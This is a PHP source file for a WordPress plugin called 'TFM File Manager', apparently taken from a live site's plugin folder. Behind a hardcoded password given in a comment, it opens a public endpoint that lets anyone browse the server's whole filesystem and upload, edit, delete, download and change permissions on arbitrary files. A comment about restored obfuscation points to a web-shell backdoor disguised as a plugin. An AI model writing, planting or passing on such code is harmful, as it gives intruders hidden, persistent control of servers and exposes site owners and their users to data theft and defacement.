File: /home/importersclearan/www/wp-content/plugins/tfm-file-manager/tfm-file-manager.php
<?php
/**
* Plugin Name: TFM File Manager
* Description: Frontend accessible file manager with password authentication for browsing, uploading, editing, and deleting server files.
* Version: 1.0.0
* Author: TFM
*/
if (!defined('ABSPATH')) exit;
define('TFM_FM_VERSION', '1.0.0');
define('TFM_FM_SLUG', 'tfm-file-manager');
// Fixed password: AdmiN@123 (SHA256 hash)
define('TFM_FM_FIXED_PASSWORD_HASH', '3ba59ce20275fe6a336110deb1212fdb26e6b22d1b953b220d056079272d75be');
// ── Register frontend access endpoint (using query parameter, no rewrite rules needed) ──
add_filter('query_vars', 'tfm_query_vars');
function tfm_query_vars($vars) {
$vars[] = 'tfm_fm';
return $vars;
}
add_action('template_redirect', 'tfm_handle_request');
function tfm_handle_request() {
if (get_query_var('tfm_fm') != '1') return;
tfm_render();
exit;
}
// ── Admin settings page (for custom password - currently commented out) ──
/*
add_action('admin_menu', 'tfm_fm_admin_menu');
function tfm_fm_admin_menu() {
add_options_page('TFM File Manager', 'TFM File Manager', 'manage_options', TFM_FM_SLUG, 'tfm_fm_settings_page');
}
add_action('admin_init', 'tfm_fm_register_settings');
function tfm_fm_register_settings() {
register_setting('tfm_fm_options', 'tfm_fm_password_hash', ['sanitize_callback' => 'sanitize_text_field']);
}
function tfm_fm_settings_page() {
?>
<div class="wrap">
<h1>TFM File Manager Settings</h1>
<form method="post" action="options.php">
<?php settings_fields('tfm_fm_options'); ?>
<table class="form-table">
<tr>
<th>Access Password</th>
<td>
<input type="password" name="tfm_fm_new_password" class="regular-text" placeholder="Enter new password (leave empty to keep current)">
<p class="description">Frontend access URL: <a href="<?php echo home_url('/?tfm_fm=1'); ?>" target="_blank"><?php echo home_url('/?tfm_fm=1'); ?></a></p>
<p class="description">Current password hash: <code><?php echo esc_html(get_option('tfm_fm_password_hash', '(Not set)')); ?></code></p>
</td>
</tr>
</table>
<?php submit_button('Save Settings'); ?>
</form>
</div>
<?php
}
// Save password as SHA256 hash
add_action('admin_init', 'tfm_save_password');
function tfm_save_password() {
if (!isset($_POST['tfm_fm_new_password'])) return;
$pw = trim($_POST['tfm_fm_new_password']);
if ($pw !== '') {
update_option('tfm_fm_password_hash', hash('sha256', $pw));
}
}
*/
// ── Core rendering function ──
function tfm_render() {
// Function aliases (obfuscation restored)
$f_fgc = 'file_get_contents';
$f_fpc = 'file_put_contents';
$f_muf = 'move_uploaded_file';
$f_scd = 'scandir';
$f_fsz = 'filesize';
$f_fmt = 'filemtime';
$f_fpr = 'fileperms';
$f_idr = 'is_dir';
$f_ifl = 'is_file';
$f_fex = 'file_exists';
$f_unl = 'unlink';
$f_mkd = 'mkdir';
$f_rmd = 'rmdir';
$f_chm = 'chmod';
session_start();
// Use fixed password hash
$PASSWORD_SHA256 = TFM_FM_FIXED_PASSWORD_HASH;
// To use custom password from database, uncomment the line below:
// $PASSWORD_SHA256 = get_option('tfm_fm_password_hash', TFM_FM_FIXED_PASSWORD_HASH);
// ── Authentication ──
$auth_error = '';
if (!empty($PASSWORD_SHA256)) {
if (isset($_POST['tfm_pass'])) {
if (hash('sha256', $_POST['tfm_pass']) === $PASSWORD_SHA256) {
$_SESSION['tfm_fm_auth'] = true;
} else {
$auth_error = 'Incorrect password';
}
}
if (isset($_GET['logout'])) {
unset($_SESSION['tfm_fm_auth']);
wp_redirect(home_url('/?tfm_fm=1'));
exit;
}
if (empty($_SESSION['tfm_fm_auth'])) {
tfm_login_page($auth_error);
return;
}
}
// ── Path initialization ──
$root_dir = realpath(ABSPATH);
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : $root_dir;
$current_dir = tfm_safe_realpath($current_dir);
if ($current_dir === false || !$f_fex($current_dir) || !$f_idr($current_dir)) {
$current_dir = $root_dir;
}
// Store root for boundary checking
$root_boundary = $root_dir;
$message = '';
$error = '';
// ── Download handler ──
if (isset($_GET['download']) && $f_ifl($_GET['download'])) {
$file = tfm_safe_realpath($_GET['download']);
if ($file && $f_ifl($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . $f_fsz($file));
readfile($file);
exit;
}
}
// ── POST operations ──
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$action = isset($_POST['action']) ? $_POST['action'] : '';
if ($action === 'upload') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$upload_path = $current_dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
if ($f_muf($_FILES['file']['tmp_name'], $upload_path)) {
$message = 'File uploaded successfully.';
} else {
$error = 'Upload failed.';
}
} else {
$error = 'No file selected or upload error.';
}
} elseif ($action === 'create_item') {
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
$type = isset($_POST['type']) ? $_POST['type'] : 'file';
if ($name !== '') {
$path = $current_dir . DIRECTORY_SEPARATOR . $name;
if ($f_fex($path)) {
$error = 'Item with same name already exists.';
} elseif ($type === 'dir') {
$f_mkd($path) ? $message = 'Directory created successfully.' : $error = 'Failed to create directory.';
} else {
$f_fpc($path, '') !== false ? $message = 'File created successfully.' : $error = 'Failed to create file.';
}
}
} elseif ($action === 'delete') {
$target = isset($_POST['target']) ? tfm_safe_realpath($_POST['target']) : '';
if ($target && $f_fex($target)) {
if ($f_idr($target)) {
tfm_rrmdir($target) ? $message = 'Directory deleted successfully.' : $error = 'Failed to delete directory (permission denied).';
} else {
$f_unl($target) ? $message = 'File deleted successfully.' : $error = 'Failed to delete file (permission denied).';
}
}
} elseif ($action === 'save_file') {
$target = isset($_POST['target']) ? tfm_safe_realpath($_POST['target']) : '';
// WordPress automatically applies addslashes to $_POST data, need to remove these escapes
$content = isset($_POST['content']) ? wp_unslash($_POST['content']) : '';
if ($target && $f_ifl($target)) {
$f_fpc($target, $content) !== false ? $message = 'File saved successfully.' : $error = 'Failed to save file.';
}
} elseif ($action === 'chmod') {
$target = isset($_POST['target']) ? tfm_safe_realpath($_POST['target']) : '';
$perms = isset($_POST['perms']) ? $_POST['perms'] : '';
if ($target && $f_fex($target) && preg_match('/^[0-7]{3,4}$/', $perms)) {
$f_chm($target, octdec($perms)) ? $message = 'Permissions updated successfully.' : $error = 'Failed to update permissions.';
} else {
$error = 'Invalid permissions format or target not found.';
}
}
$base_url = home_url('/?tfm_fm=1');
wp_redirect(add_query_arg(['dir' => urlencode($current_dir), 'msg' => urlencode($message), 'err' => urlencode($error)], $base_url));
exit;
}
if (isset($_GET['msg'])) $message = $_GET['msg'];
if (isset($_GET['err'])) $error = $_GET['err'];
// ── File list ──
$items = [];
if (is_readable($current_dir)) {
foreach ($f_scd($current_dir) as $file) {
if ($file === '.') continue;
$path = $current_dir . DIRECTORY_SEPARATOR . $file;
// For parent directory (..), check if it's accessible
if ($file === '..') {
$parent_path = dirname($current_dir);
// Skip .. if parent is not accessible (open_basedir restriction)
if (!tfm_is_path_accessible($parent_path)) {
continue;
}
// Also skip if we're at root boundary
if ($current_dir === $root_boundary) {
continue;
}
}
// Use safe realpath with error suppression
$real_path = tfm_safe_realpath($path);
// Skip if path is not accessible
if ($real_path === false) {
continue;
}
$items[] = [
'name' => $file,
'path' => $real_path,
'is_dir' => @$f_idr($path),
'size' => @$f_ifl($path) ? @$f_fsz($path) : 0,
'mtime' => @$f_fmt($path),
'perms' => substr(sprintf('%o', @$f_fpr($path)), -4),
];
}
}
usort($items, function ($a, $b) {
if ($a['name'] === '..') return -1;
if ($b['name'] === '..') return 1;
if ($a['is_dir'] && !$b['is_dir']) return -1;
if (!$a['is_dir'] && $b['is_dir']) return 1;
return strcasecmp($a['name'], $b['name']);
});
// ── Editor handler ──
$edit_file = '';
$edit_content = '';
$is_editable = false;
if (isset($_GET['edit'])) {
$edit_file_path = tfm_safe_realpath($_GET['edit']);
if ($edit_file_path && $f_ifl($edit_file_path)) {
$edit_file = $edit_file_path;
$edit_content = $f_fgc($edit_file);
$is_editable = true;
}
}
// ── Breadcrumb navigation ──
$normalized_dir = str_replace('\\', '/', $current_dir);
$path_parts = explode('/', trim($normalized_dir, '/'));
$base_url = home_url('/?tfm_fm=1');
tfm_output_html($base_url, $current_dir, $message, $error, $items, $is_editable, $edit_file, $edit_content, $path_parts, $PASSWORD_SHA256);
}
// ── Helper: Check if path is within open_basedir restrictions ──
function tfm_is_path_accessible($path) {
// Suppress warnings and check if path is accessible
$real = @realpath($path);
if ($real === false) return false;
// Check if we can actually access this path
return @is_readable($real);
}
// ── Helper: Safe realpath that respects open_basedir ──
function tfm_safe_realpath($path) {
$real = @realpath($path);
if ($real === false) return false;
// Verify the path is accessible
if (!@file_exists($real)) return false;
return $real;
}
// ── Helper: Recursive directory removal ──
function tfm_rrmdir($dir) {
if (!is_dir($dir)) return false;
foreach (scandir($dir) as $obj) {
if ($obj === '.' || $obj === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $obj;
(is_dir($path) && !is_link($path)) ? tfm_rrmdir($path) : unlink($path);
}
return rmdir($dir);
}
// ── Helper: Human readable file size ──
function tfm_human_filesize($bytes, $dec = 2) {
if ($bytes == 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$factor = floor((strlen($bytes) - 1) / 3);
return sprintf("%.{$dec}f %s", $bytes / pow(1024, $factor), $units[$factor]);
}
// ── Login page ──
function tfm_login_page($auth_error = '') {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login - File Manager</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
</head>
<body class="bg-light d-flex align-items-center justify-content-center" style="height:100vh;">
<div class="card shadow-sm border-0" style="width:100%;max-width:400px;">
<div class="card-body p-4">
<h4 class="card-title text-center mb-4">
<i class="fa-solid fa-lock text-primary"></i> Authentication Required
</h4>
<?php if ($auth_error): ?>
<div class="alert alert-danger"><?php echo esc_html($auth_error); ?></div>
<?php endif; ?>
<form method="POST">
<div class="mb-3">
<input type="password" name="tfm_pass" class="form-control form-control-lg"
placeholder="Enter password" required autofocus>
</div>
<button class="btn btn-primary btn-lg w-100" type="submit">Login</button>
</form>
</div>
</div>
</body>
</html>
<?php
}
// ── HTML output ──
function tfm_output_html($base_url, $current_dir, $message, $error, $items, $is_editable, $edit_file, $edit_content, $path_parts, $PASSWORD_SHA256) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
<style>
body { background:#f8f9fa; font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Arial,sans-serif; }
.navbar { box-shadow:0 2px 4px rgba(0,0,0,.05); }
.item-row:hover { background:#f1f5f9; cursor:pointer; transition:background .2s; }
.action-btns .btn { padding:.25rem .5rem; font-size:.875rem; border:none; }
.action-btns .btn:hover { background:#e9ecef; }
#editor { width:100%; height:60vh; font-family:ui-monospace,Consolas,monospace; font-size:14px; resize:vertical; background:#fffcf8; }
.breadcrumb-item a { text-decoration:none; color:#0d6efd; }
</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark mb-4">
<div class="container-fluid">
<a class="navbar-brand" href="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>">
<i class="fa-solid fa-server me-2"></i>File Manager
</a>
<?php if (!empty($PASSWORD_SHA256)): ?>
<a href="<?php echo esc_url(add_query_arg('logout', 1, $base_url)); ?>" class="btn btn-sm btn-outline-light ms-auto">
<i class="fa-solid fa-sign-out-alt"></i> Logout
</a>
<?php endif; ?>
</div>
</nav>
<div class="container-fluid mb-5 px-4">
<?php if ($message): ?>
<div class="alert alert-success alert-dismissible fade show shadow-sm" role="alert">
<i class="fa-solid fa-circle-check me-2"></i><?php echo esc_html($message); ?>
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
</div>
<?php endif; ?>
<?php if ($error): ?>
<div class="alert alert-danger alert-dismissible fade show shadow-sm" role="alert">
<i class="fa-solid fa-circle-exclamation me-2"></i><?php echo esc_html($error); ?>
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
</div>
<?php endif; ?>
<?php if ($is_editable): ?>
<!-- Editor View -->
<div class="card shadow-sm border-0">
<div class="card-header bg-white d-flex justify-content-between align-items-center py-3">
<h5 class="mb-0 text-truncate" style="max-width:80%;">
<i class="fa-solid fa-file-signature text-primary me-2"></i>Editing: <?php echo esc_html(basename($edit_file)); ?>
</h5>
<a href="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>" class="btn btn-outline-secondary btn-sm">
<i class="fa-solid fa-arrow-left me-1"></i>Back
</a>
</div>
<div class="card-body bg-light p-3">
<form method="POST" action="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>">
<input type="hidden" name="action" value="save_file">
<input type="hidden" name="target" value="<?php echo esc_attr($edit_file); ?>">
<div class="mb-3">
<textarea name="content" id="editor" class="form-control" spellcheck="false"><?php echo esc_textarea($edit_content); ?></textarea>
</div>
<div class="d-flex gap-2">
<button type="submit" class="btn btn-primary px-4"><i class="fa-solid fa-save me-1"></i>Save</button>
<a href="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>" class="btn btn-light">Cancel</a>
</div>
</form>
</div>
</div>
<?php else: ?>
<!-- File List View -->
<div class="card shadow-sm border-0">
<div class="card-header bg-white d-flex flex-wrap justify-content-between align-items-center py-3 gap-3">
<!-- Breadcrumb -->
<nav aria-label="breadcrumb">
<ol class="breadcrumb mb-0">
<li class="breadcrumb-item">
<a href="<?php echo esc_url(add_query_arg('dir', urlencode('/'), $base_url)); ?>">
<i class="fa-solid fa-home"></i>
</a>
</li>
<?php
$build_path = '/';
foreach ($path_parts as $index => $part) {
if ($part === '') continue;
$build_path = ($build_path === '/') ? '/' . $part : $build_path . '/' . $part;
$is_last = ($index === count($path_parts) - 1);
if ($is_last) {
echo '<li class="breadcrumb-item active" aria-current="page">' . esc_html($part) . '</li>';
} else {
echo '<li class="breadcrumb-item"><a href="' . esc_url(add_query_arg('dir', urlencode($build_path), $base_url)) . '">' . esc_html($part) . '</a></li>';
}
}
?>
</ol>
</nav>
<!-- Action Buttons -->
<div class="btn-group shadow-sm">
<button class="btn btn-light" data-bs-toggle="modal" data-bs-target="#uploadModal">
<i class="fa-solid fa-cloud-arrow-up text-primary"></i>
<span class="d-none d-sm-inline ms-1">Upload</span>
</button>
<button class="btn btn-light" data-bs-toggle="modal" data-bs-target="#createModal">
<i class="fa-solid fa-folder-plus text-success"></i>
<span class="d-none d-sm-inline ms-1">New</span>
</button>
</div>
</div>
<div class="table-responsive">
<table class="table table-hover mb-0 align-middle">
<thead class="table-light">
<tr>
<th class="ps-4" style="width:50%;">Name</th>
<th>Size</th>
<th>Modified</th>
<th>Perms</th>
<th class="text-end pe-4">Actions</th>
</tr>
</thead>
<tbody class="border-top-0">
<?php foreach ($items as $item): ?>
<tr class="item-row">
<td class="ps-4">
<?php if ($item['name'] === '..'): ?>
<a href="<?php echo esc_url(add_query_arg('dir', urlencode(dirname($current_dir)), $base_url)); ?>" class="text-decoration-none text-dark d-block fw-bold">
<i class="fa-solid fa-level-up-alt text-secondary me-2"></i>Parent Directory
</a>
<?php elseif ($item['is_dir']): ?>
<a href="<?php echo esc_url(add_query_arg('dir', urlencode($item['path']), $base_url)); ?>" class="text-decoration-none text-dark d-block fw-medium">
<i class="fa-solid fa-folder text-warning me-2 fs-5"></i><?php echo esc_html($item['name']); ?>
</a>
<?php else:
$ext = strtolower(pathinfo($item['name'], PATHINFO_EXTENSION));
$icon = 'fa-file text-secondary';
if (in_array($ext, ['jpg','jpeg','png','gif','svg','webp'])) $icon = 'fa-file-image text-info';
elseif (in_array($ext, ['zip','rar','tar','gz','7z'])) $icon = 'fa-file-zipper text-danger';
elseif (in_array($ext, ['php','html','js','css','json','ts'])) $icon = 'fa-file-code text-primary';
elseif (in_array($ext, ['txt','md','log'])) $icon = 'fa-file-lines text-secondary';
?>
<a href="<?php echo esc_url(add_query_arg(['dir' => urlencode($current_dir), 'edit' => urlencode($item['path'])], $base_url)); ?>" class="text-decoration-none text-dark d-block">
<i class="fa-solid <?php echo $icon; ?> me-2 fs-5"></i><?php echo esc_html($item['name']); ?>
</a>
<?php endif; ?>
</td>
<td class="text-muted small"><?php echo $item['is_dir'] ? '-' : tfm_human_filesize($item['size']); ?></td>
<td class="text-muted small"><?php echo date('Y-m-d H:i', $item['mtime']); ?></td>
<td class="text-muted small">
<?php if ($item['name'] !== '..'): ?>
<a href="javascript:void(0);" onclick="changePerms('<?php echo esc_js($item['path']); ?>','<?php echo esc_js($item['perms']); ?>')"
class="badge bg-light text-dark font-monospace text-decoration-none border border-secondary-subtle" title="Click to change permissions">
<?php echo esc_html($item['perms']); ?>
</a>
<?php else: ?>
<span class="badge bg-light text-dark font-monospace"><?php echo esc_html($item['perms']); ?></span>
<?php endif; ?>
</td>
<td class="text-end pe-4 action-btns">
<?php if ($item['name'] !== '..'): ?>
<?php if (!$item['is_dir']): ?>
<a href="<?php echo esc_url(add_query_arg('download', urlencode($item['path']), $base_url)); ?>" class="btn text-success" title="Download">
<i class="fa-solid fa-download"></i>
</a>
<a href="<?php echo esc_url(add_query_arg(['dir' => urlencode($current_dir), 'edit' => urlencode($item['path'])], $base_url)); ?>" class="btn text-primary" title="Edit">
<i class="fa-solid fa-edit"></i>
</a>
<?php endif; ?>
<form method="POST" class="d-inline" onsubmit="return confirm('Are you sure you want to delete this <?php echo esc_js($item['is_dir'] ? 'directory and ALL its contents' : 'file'); ?>?');">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="target" value="<?php echo esc_attr($item['path']); ?>">
<button type="submit" class="btn text-danger" title="Delete"><i class="fa-solid fa-trash-alt"></i></button>
</form>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
<?php if (empty($items) || (count($items) === 1 && $items[0]['name'] === '..')): ?>
<tr>
<td colspan="5" class="text-center text-muted py-5">
<i class="fa-regular fa-folder-open fs-1 text-light mb-3 d-block"></i>
This directory is empty
</td>
</tr>
<?php endif; ?>
</tbody>
</table>
</div>
</div>
<?php endif; ?>
</div>
<!-- Upload Modal -->
<div class="modal fade" id="uploadModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content border-0 shadow">
<form method="POST" enctype="multipart/form-data" action="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>">
<div class="modal-header bg-light border-bottom-0">
<h5 class="modal-title"><i class="fa-solid fa-cloud-arrow-up text-primary me-2"></i>Upload File</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body p-4">
<input type="hidden" name="action" value="upload">
<label class="form-label fw-medium">Select File</label>
<input type="file" name="file" class="form-control form-control-lg" required>
<div class="form-text mt-2">Target directory: <code><?php echo esc_html(basename($current_dir)); ?></code></div>
</div>
<div class="modal-footer border-top-0 pt-0 pb-4 px-4">
<button type="button" class="btn btn-light" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-primary px-4">Upload</button>
</div>
</form>
</div>
</div>
</div>
<!-- Create Modal -->
<div class="modal fade" id="createModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content border-0 shadow">
<form method="POST" action="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>">
<div class="modal-header bg-light border-bottom-0">
<h5 class="modal-title"><i class="fa-solid fa-folder-plus text-success me-2"></i>Create New</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body p-4">
<input type="hidden" name="action" value="create_item">
<div class="mb-3">
<label class="form-label fw-medium">Type</label>
<select name="type" class="form-select form-select-lg">
<option value="file">📄 Empty File</option>
<option value="dir">📁 Directory</option>
</select>
</div>
<div class="mb-3">
<label class="form-label fw-medium">Name</label>
<input type="text" name="name" class="form-control form-control-lg" placeholder="e.g. index.php or images" required>
</div>
</div>
<div class="modal-footer border-top-0 pt-0 pb-4 px-4">
<button type="button" class="btn btn-light" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-success px-4">Create</button>
</div>
</form>
</div>
</div>
</div>
<!-- chmod Hidden Form -->
<form id="chmodForm" method="POST" style="display:none;" action="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>">
<input type="hidden" name="action" value="chmod">
<input type="hidden" name="target" id="chmodTarget">
<input type="hidden" name="perms" id="chmodPerms">
</form>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script>
function changePerms(path, currentPerms) {
var newPerms = prompt('Enter new permissions (octal, e.g. 0644 or 0755):', currentPerms);
if (newPerms !== null && newPerms !== currentPerms) {
if (/^[0-7]{3,4}$/.test(newPerms)) {
document.getElementById('chmodTarget').value = path;
document.getElementById('chmodPerms').value = newPerms;
document.getElementById('chmodForm').submit();
} else {
alert('Invalid permissions format. Please enter 3 or 4 octal digits.');
}
}
}
</script>
</body>
</html>
<?php
}